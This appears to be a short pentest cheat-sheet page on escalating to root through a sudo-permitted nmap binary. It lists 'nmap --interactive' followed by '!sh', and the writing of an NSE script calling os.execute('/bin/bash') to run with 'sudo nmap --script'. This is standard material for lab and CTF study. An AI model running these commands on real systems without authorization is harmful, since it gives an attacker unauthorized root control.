# NMAP Exploitation

**NMAP Exploitation.**

Nmap is scanner for network and OS detection. If nmap being misconfiguration used "sudo" or "administrator" it can lead to privilege escalation.

## Exploit 1

Using `sudo -l`

{% hint style="info" %}
-l using for listing all
{% endhint %}

![](https://3121131891-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQeFYsVgq7Gj5gy3amsLE%2Fuploads%2FsmCcawEMwzklTacwL8Mp%2F0?alt=media)

Or

![](https://3121131891-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQeFYsVgq7Gj5gy3amsLE%2Fuploads%2F8TFyAGBF2Y3md1eIboes%2F1?alt=media)

* `Run sudo nmap -- interactive or nmap --interactive`
* `!bash or !sh`
* `Whoami`

It will escalate as root.

## Exploit 2

Same as above, but this time `--interactive` not working. We need to play we environment a bit.

* `TF=$(mktemp)`
* `echo ‘os.execute(‘/bin/bash’)’ > $TF`
* `Sudo -u root nmap --script=$TF`

Or

* `echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse`

We now root. This technique used to run a script in nmap.
